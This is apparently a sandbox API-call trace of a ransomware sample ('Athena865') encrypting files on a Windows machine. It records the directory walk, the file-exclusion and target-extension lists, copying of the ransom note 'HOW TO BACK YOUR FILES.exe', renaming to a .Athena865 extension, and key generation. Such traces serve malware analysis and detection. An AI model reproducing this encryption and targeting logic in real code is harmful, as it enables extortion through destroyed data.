lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd3b8d80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd3b8d80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.986] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0058.986] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0058.986] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0058.986] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0058.986] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0058.986] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0058.986] lstrcmpiW (lpString1="1033", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0058.986] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0058.986] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0058.986] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1 [0058.987] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1 [0058.987] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1 [0058.987] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1 [0058.987] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1 [0058.987] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1 [0058.987] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1 [0058.987] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1 [0058.987] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1 [0058.987] lstrlenW (lpString="1033") returned 4 [0058.987] lstrcpyW (in: lpString1=0x241e8c6, lpString2="1033" | out: lpString1="1033") returned="1033" [0058.987] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f628 [0058.987] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x88) returned 0x514008 [0058.987] lstrcatW (in: lpString1="1033", lpString2="\\" | out: lpString1="1033\\") returned="1033\\" [0058.987] lstrcatW (in: lpString1="1033\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="1033\\HOW TO BACK YOUR FILES.exe") returned="1033\\HOW TO BACK YOUR FILES.exe" [0058.987] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1 [0058.990] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0058.990] lstrcmpiW (lpString1="branding.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0058.990] lstrcmpiW (lpString1="branding.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0058.990] lstrcmpiW (lpString1="branding.xml", lpString2=".") returned 1 [0058.990] lstrcmpiW (lpString1="branding.xml", lpString2="..") returned 1 [0058.990] lstrcmpiW (lpString1="branding.xml", lpString2="windows") returned -1 [0058.990] lstrcmpiW (lpString1="branding.xml", lpString2="bootmgr") returned 1 [0058.990] lstrcmpiW (lpString1="branding.xml", lpString2="temp") returned -1 [0058.990] lstrcmpiW (lpString1="branding.xml", lpString2="pagefile.sys") returned -1 [0058.990] lstrcmpiW (lpString1="branding.xml", lpString2="boot") returned 1 [0058.990] lstrcmpiW (lpString1="branding.xml", lpString2="ids.txt") returned -1 [0058.990] lstrcmpiW (lpString1="branding.xml", lpString2="ntuser.dat") returned -1 [0058.990] lstrcmpiW (lpString1="branding.xml", lpString2="perflogs") returned -1 [0058.990] lstrcmpiW (lpString1="branding.xml", lpString2="MSBuild") returned -1 [0058.990] lstrlenW (lpString="branding.xml") returned 12 [0058.990] lstrcpyW (in: lpString1=0x241e8c6, lpString2="branding.xml" | out: lpString1="branding.xml") returned="branding.xml" [0058.990] lstrlenW (lpString="branding.xml") returned 12 [0058.990] lstrlenW (lpString="Athena865") returned 9 [0058.990] lstrcmpiW (lpString1="nding.xml", lpString2="Athena865") returned 1 [0058.990] lstrlenW (lpString=".dll") returned 4 [0058.990] lstrcmpiW (lpString1="branding.xml", lpString2=".dll") returned 1 [0058.990] lstrlenW (lpString=".lnk") returned 4 [0058.990] lstrcmpiW (lpString1="branding.xml", lpString2=".lnk") returned 1 [0058.990] lstrlenW (lpString=".ini") returned 4 [0058.990] lstrcmpiW (lpString1="branding.xml", lpString2=".ini") returned 1 [0058.991] lstrlenW (lpString=".sys") returned 4 [0058.991] lstrcmpiW (lpString1="branding.xml", lpString2=".sys") returned 1 [0058.991] lstrlenW (lpString="branding.xml") returned 12 [0058.991] lstrlenW (lpString="bak") returned 3 [0058.991] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0058.991] lstrlenW (lpString="ba_") returned 3 [0058.991] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0058.991] lstrlenW (lpString="dbb") returned 3 [0058.991] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0058.991] lstrlenW (lpString="vmdk") returned 4 [0058.991] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0058.991] lstrlenW (lpString="rar") returned 3 [0058.991] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0058.991] lstrlenW (lpString="zip") returned 3 [0058.991] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0058.991] lstrlenW (lpString="tgz") returned 3 [0058.991] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0058.991] lstrlenW (lpString="vbox") returned 4 [0058.991] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0058.991] lstrlenW (lpString="vdi") returned 3 [0058.991] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0058.991] lstrlenW (lpString="vhd") returned 3 [0058.991] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0058.991] lstrlenW (lpString="vhdx") returned 4 [0058.991] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0058.991] lstrlenW (lpString="avhd") returned 4 [0058.991] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0058.991] lstrlenW (lpString="db") returned 2 [0058.991] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0058.991] lstrlenW (lpString="db2") returned 3 [0058.991] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0058.991] lstrlenW (lpString="db3") returned 3 [0058.992] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0058.992] lstrlenW (lpString="dbf") returned 3 [0058.992] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0058.992] lstrlenW (lpString="mdf") returned 3 [0058.992] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0058.992] lstrlenW (lpString="mdb") returned 3 [0058.992] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0058.992] lstrlenW (lpString="sql") returned 3 [0058.992] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0058.992] lstrlenW (lpString="sqlite") returned 6 [0058.992] lstrcmpiW (lpString1="ng.xml", lpString2="sqlite") returned -1 [0058.992] lstrlenW (lpString="sqlite3") returned 7 [0058.992] lstrcmpiW (lpString1="ing.xml", lpString2="sqlite3") returned -1 [0058.992] lstrlenW (lpString="sqlitedb") returned 8 [0058.992] lstrcmpiW (lpString1="ding.xml", lpString2="sqlitedb") returned -1 [0058.992] lstrlenW (lpString="xml") returned 3 [0058.992] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0058.992] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.Athena865") returned 85 [0058.992] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.athena865"), dwFlags=0x1) returned 1 [0058.993] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0058.993] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=596341) returned 1 [0058.994] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0058.994] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0058.994] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0058.994] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0058.995] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0058.995] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0058.995] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x91c80, lpName=0x0) returned 0x154 [0058.997] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x91c80) returned 0x2d50000 [0059.025] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0059.026] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0059.026] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0059.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0059.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0059.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0059.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0059.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0059.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0059.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0059.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0059.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0059.027] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0059.032] CloseHandle (hObject=0x154) returned 1 [0059.032] CloseHandle (hObject=0x17c) returned 1 [0059.032] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0059.032] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0059.032] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0059.035] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0059.035] lstrcmpiW (lpString1="DW20.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0059.035] lstrcmpiW (lpString1="DW20.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0059.035] lstrcmpiW (lpString1="DW20.EXE", lpString2=".") returned 1 [0059.035] lstrcmpiW (lpString1="DW20.EXE", lpString2="..") returned 1 [0059.035] lstrcmpiW (lpString1="DW20.EXE", lpString2="windows") returned -1 [0059.035] lstrcmpiW (lpString1="DW20.EXE", lpString2="bootmgr") returned 1 [0059.035] lstrcmpiW (lpString1="DW20.EXE", lpString2="temp") returned -1 [0059.035] lstrcmpiW (lpString1="DW20.EXE", lpString2="pagefile.sys") returned -1 [0059.035] lstrcmpiW (lpString1="DW20.EXE", lpString2="boot") returned 1 [0059.035] lstrcmpiW (lpString1="DW20.EXE", lpString2="ids.txt") returned -1 [0059.035] lstrcmpiW (lpString1="DW20.EXE", lpString2="ntuser.dat") returned -1 [0059.035] lstrcmpiW (lpString1="DW20.EXE", lpString2="perflogs") returned -1 [0059.035] lstrcmpiW (lpString1="DW20.EXE", lpString2="MSBuild") returned -1 [0059.035] lstrlenW (lpString="DW20.EXE") returned 8 [0059.035] lstrcpyW (in: lpString1=0x241e8c6, lpString2="DW20.EXE" | out: lpString1="DW20.EXE") returned="DW20.EXE" [0059.035] lstrlenW (lpString="DW20.EXE") returned 8 [0059.035] lstrlenW (lpString="Athena865") returned 9 [0059.035] lstrlenW (lpString=".dll") returned 4 [0059.035] lstrcmpiW (lpString1="DW20.EXE", lpString2=".dll") returned 1 [0059.035] lstrlenW (lpString=".lnk") returned 4 [0059.035] lstrcmpiW (lpString1="DW20.EXE", lpString2=".lnk") returned 1 [0059.035] lstrlenW (lpString=".ini") returned 4 [0059.035] lstrcmpiW (lpString1="DW20.EXE", lpString2=".ini") returned 1 [0059.036] lstrlenW (lpString=".sys") returned 4 [0059.036] lstrcmpiW (lpString1="DW20.EXE", lpString2=".sys") returned 1 [0059.036] lstrlenW (lpString="DW20.EXE") returned 8 [0059.036] lstrlenW (lpString="bak") returned 3 [0059.036] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0059.036] lstrlenW (lpString="ba_") returned 3 [0059.036] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0059.036] lstrlenW (lpString="dbb") returned 3 [0059.036] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0059.036] lstrlenW (lpString="vmdk") returned 4 [0059.036] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0059.036] lstrlenW (lpString="rar") returned 3 [0059.036] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0059.036] lstrlenW (lpString="zip") returned 3 [0059.036] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0059.036] lstrlenW (lpString="tgz") returned 3 [0059.036] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0059.036] lstrlenW (lpString="vbox") returned 4 [0059.036] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0059.036] lstrlenW (lpString="vdi") returned 3 [0059.036] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0059.036] lstrlenW (lpString="vhd") returned 3 [0059.036] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0059.036] lstrlenW (lpString="vhdx") returned 4 [0059.036] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0059.036] lstrlenW (lpString="avhd") returned 4 [0059.036] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0059.036] lstrlenW (lpString="db") returned 2 [0059.036] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0059.036] lstrlenW (lpString="db2") returned 3 [0059.036] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0059.036] lstrlenW (lpString="db3") returned 3 [0059.036] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0059.036] lstrlenW (lpString="dbf") returned 3 [0059.037] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0059.037] lstrlenW (lpString="mdf") returned 3 [0059.037] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0059.037] lstrlenW (lpString="mdb") returned 3 [0059.037] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0059.037] lstrlenW (lpString="sql") returned 3 [0059.037] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0059.037] lstrlenW (lpString="sqlite") returned 6 [0059.037] lstrcmpiW (lpString1="20.EXE", lpString2="sqlite") returned -1 [0059.037] lstrlenW (lpString="sqlite3") returned 7 [0059.037] lstrcmpiW (lpString1="W20.EXE", lpString2="sqlite3") returned 1 [0059.037] lstrlenW (lpString="sqlitedb") returned 8 [0059.037] lstrlenW (lpString="xml") returned 3 [0059.037] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0059.037] lstrlenW (lpString="$er") returned 3 [0059.037] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0059.037] lstrlenW (lpString="4dd") returned 3 [0059.037] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0059.037] lstrlenW (lpString="4dl") returned 3 [0059.037] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0059.037] lstrlenW (lpString="^^^") returned 3 [0059.037] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0059.037] lstrlenW (lpString="abs") returned 3 [0059.037] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0059.037] lstrlenW (lpString="abx") returned 3 [0059.037] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0059.037] lstrlenW (lpString="accdb") returned 5 [0059.037] lstrcmpiW (lpString1="0.EXE", lpString2="accdb") returned -1 [0059.037] lstrlenW (lpString="accdc") returned 5 [0059.037] lstrcmpiW (lpString1="0.EXE", lpString2="accdc") returned -1 [0059.037] lstrlenW (lpString="accde") returned 5 [0059.037] lstrcmpiW (lpString1="0.EXE", lpString2="accde") returned -1 [0059.037] lstrlenW (lpString="accdr") returned 5 [0059.037] lstrcmpiW (lpString1="0.EXE", lpString2="accdr") returned -1 [0059.038] lstrlenW (lpString="accdt") returned 5 [0059.038] lstrcmpiW (lpString1="0.EXE", lpString2="accdt") returned -1 [0059.038] lstrlenW (lpString="accdw") returned 5 [0059.038] lstrcmpiW (lpString1="0.EXE", lpString2="accdw") returned -1 [0059.038] lstrlenW (lpString="accft") returned 5 [0059.038] lstrcmpiW (lpString1="0.EXE", lpString2="accft") returned -1 [0059.038] lstrlenW (lpString="adb") returned 3 [0059.038] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0059.038] lstrlenW (lpString="adb") returned 3 [0059.038] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0059.038] lstrlenW (lpString="ade") returned 3 [0059.038] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0059.038] lstrlenW (lpString="adf") returned 3 [0059.038] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0059.038] lstrlenW (lpString="adn") returned 3 [0059.038] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1 [0059.038] lstrlenW (lpString="adp") returned 3 [0059.038] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0059.038] lstrlenW (lpString="alf") returned 3 [0059.038] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0059.038] lstrlenW (lpString="ask") returned 3 [0059.038] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0059.038] lstrlenW (lpString="btr") returned 3 [0059.038] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0059.038] lstrlenW (lpString="cat") returned 3 [0059.038] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0059.038] lstrlenW (lpString="cdb") returned 3 [0059.038] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0059.038] lstrlenW (lpString="ckp") returned 3 [0059.038] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0059.038] lstrlenW (lpString="cma") returned 3 [0059.038] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0059.038] lstrlenW (lpString="cpd") returned 3 [0059.038] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0059.039] lstrlenW (lpString="dacpac") returned 6 [0059.039] lstrcmpiW (lpString1="20.EXE", lpString2="dacpac") returned -1 [0059.039] lstrlenW (lpString="dad") returned 3 [0059.039] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0059.039] lstrlenW (lpString="dadiagrams") returned 10 [0059.039] lstrlenW (lpString="daschema") returned 8 [0059.039] lstrlenW (lpString="db-journal") returned 10 [0059.039] lstrlenW (lpString="db-shm") returned 6 [0059.039] lstrcmpiW (lpString1="20.EXE", lpString2="db-shm") returned -1 [0059.039] lstrlenW (lpString="db-wal") returned 6 [0059.039] lstrcmpiW (lpString1="20.EXE", lpString2="db-wal") returned -1 [0059.039] lstrlenW (lpString="dbc") returned 3 [0059.039] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0059.039] lstrlenW (lpString="dbs") returned 3 [0059.039] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0059.039] lstrlenW (lpString="dbt") returned 3 [0059.039] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0059.039] lstrlenW (lpString="dbv") returned 3 [0059.039] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0059.039] lstrlenW (lpString="dbx") returned 3 [0059.039] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0059.039] lstrlenW (lpString="dcb") returned 3 [0059.039] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0059.039] lstrlenW (lpString="dct") returned 3 [0059.039] lstrcmpiW (lpString1="EXE", lpString2="dct") returned 1 [0059.039] lstrlenW (lpString="dcx") returned 3 [0059.039] lstrcmpiW (lpString1="EXE", lpString2="dcx") returned 1 [0059.039] lstrlenW (lpString="ddl") returned 3 [0059.039] lstrcmpiW (lpString1="EXE", lpString2="ddl") returned 1 [0059.039] lstrlenW (lpString="dlis") returned 4 [0059.039] lstrcmpiW (lpString1=".EXE", lpString2="dlis") returned -1 [0059.039] lstrlenW (lpString="dp1") returned 3 [0059.039] lstrcmpiW (lpString1="EXE", lpString2="dp1") returned 1 [0059.040] lstrlenW (lpString="dqy") returned 3 [0059.040] lstrcmpiW (lpString1="EXE", lpString2="dqy") returned 1 [0059.040] lstrlenW (lpString="dsk") returned 3 [0059.040] lstrcmpiW (lpString1="EXE", lpString2="dsk") returned 1 [0059.040] lstrlenW (lpString="dsn") returned 3 [0059.040] lstrcmpiW (lpString1="EXE", lpString2="dsn") returned 1 [0059.040] lstrlenW (lpString="dtsx") returned 4 [0059.040] lstrcmpiW (lpString1=".EXE", lpString2="dtsx") returned -1 [0059.040] lstrlenW (lpString="dxl") returned 3 [0059.040] lstrcmpiW (lpString1="EXE", lpString2="dxl") returned 1 [0059.040] lstrlenW (lpString="eco") returned 3 [0059.040] lstrcmpiW (lpString1="EXE", lpString2="eco") returned 1 [0059.040] lstrlenW (lpString="ecx") returned 3 [0059.040] lstrcmpiW (lpString1="EXE", lpString2="ecx") returned 1 [0059.040] lstrlenW (lpString="edb") returned 3 [0059.040] lstrcmpiW (lpString1="EXE", lpString2="edb") returned 1 [0059.040] lstrlenW (lpString="epim") returned 4 [0059.040] lstrcmpiW (lpString1=".EXE", lpString2="epim") returned -1 [0059.040] lstrlenW (lpString="fcd") returned 3 [0059.040] lstrcmpiW (lpString1="EXE", lpString2="fcd") returned -1 [0059.040] lstrlenW (lpString="fdb") returned 3 [0059.040] lstrcmpiW (lpString1="EXE", lpString2="fdb") returned -1 [0059.040] lstrlenW (lpString="fic") returned 3 [0059.040] lstrcmpiW (lpString1="EXE", lpString2="fic") returned -1 [0059.040] lstrlenW (lpString="flexolibrary") returned 12 [0059.040] lstrlenW (lpString="fm5") returned 3 [0059.040] lstrcmpiW (lpString1="EXE", lpString2="fm5") returned -1 [0059.040] lstrlenW (lpString="fmp") returned 3 [0059.040] lstrcmpiW (lpString1="EXE", lpString2="fmp") returned -1 [0059.040] lstrlenW (lpString="fmp12") returned 5 [0059.040] lstrcmpiW (lpString1="0.EXE", lpString2="fmp12") returned -1 [0059.040] lstrlenW (lpString="fmpsl") returned 5 [0059.040] lstrcmpiW (lpString1="0.EXE", lpString2="fmpsl") returned -1 [0059.040] lstrlenW (lpString="fol") returned 3 [0059.041] lstrcmpiW (lpString1="EXE", lpString2="fol") returned -1 [0059.041] lstrlenW (lpString="fp3") returned 3 [0059.041] lstrcmpiW (lpString1="EXE", lpString2="fp3") returned -1 [0059.041] lstrlenW (lpString="fp4") returned 3 [0059.041] lstrcmpiW (lpString1="EXE", lpString2="fp4") returned -1 [0059.041] lstrlenW (lpString="fp5") returned 3 [0059.041] lstrcmpiW (lpString1="EXE", lpString2="fp5") returned -1 [0059.041] lstrlenW (lpString="fp7") returned 3 [0059.041] lstrcmpiW (lpString1="EXE", lpString2="fp7") returned -1 [0059.041] lstrlenW (lpString="fpt") returned 3 [0059.041] lstrcmpiW (lpString1="EXE", lpString2="fpt") returned -1 [0059.041] lstrlenW (lpString="frm") returned 3 [0059.041] lstrcmpiW (lpString1="EXE", lpString2="frm") returned -1 [0059.041] lstrlenW (lpString="gdb") returned 3 [0059.041] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0059.041] lstrlenW (lpString="gdb") returned 3 [0059.041] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0059.041] lstrlenW (lpString="grdb") returned 4 [0059.041] lstrcmpiW (lpString1=".EXE", lpString2="grdb") returned -1 [0059.041] lstrlenW (lpString="gwi") returned 3 [0059.041] lstrcmpiW (lpString1="EXE", lpString2="gwi") returned -1 [0059.041] lstrlenW (lpString="hdb") returned 3 [0059.041] lstrcmpiW (lpString1="EXE", lpString2="hdb") returned -1 [0059.041] lstrlenW (lpString="his") returned 3 [0059.041] lstrcmpiW (lpString1="EXE", lpString2="his") returned -1 [0059.041] lstrlenW (lpString="ib") returned 2 [0059.041] lstrcmpiW (lpString1="XE", lpString2="ib") returned 1 [0059.041] lstrlenW (lpString="idb") returned 3 [0059.041] lstrcmpiW (lpString1="EXE", lpString2="idb") returned -1 [0059.041] lstrlenW (lpString="ihx") returned 3 [0059.041] lstrcmpiW (lpString1="EXE", lpString2="ihx") returned -1 [0059.041] lstrlenW (lpString="itdb") returned 4 [0059.041] lstrcmpiW (lpString1=".EXE", lpString2="itdb") returned -1 [0059.041] lstrlenW (lpString="itw") returned 3 [0059.042] lstrcmpiW (lpString1="EXE", lpString2="itw") returned -1 [0059.042] lstrlenW (lpString="jet") returned 3 [0059.042] lstrcmpiW (lpString1="EXE", lpString2="jet") returned -1 [0059.042] lstrlenW (lpString="jtx") returned 3 [0059.042] lstrcmpiW (lpString1="EXE", lpString2="jtx") returned -1 [0059.042] lstrlenW (lpString="kdb") returned 3 [0059.042] lstrcmpiW (lpString1="EXE", lpString2="kdb") returned -1 [0059.042] lstrlenW (lpString="kexi") returned 4 [0059.042] 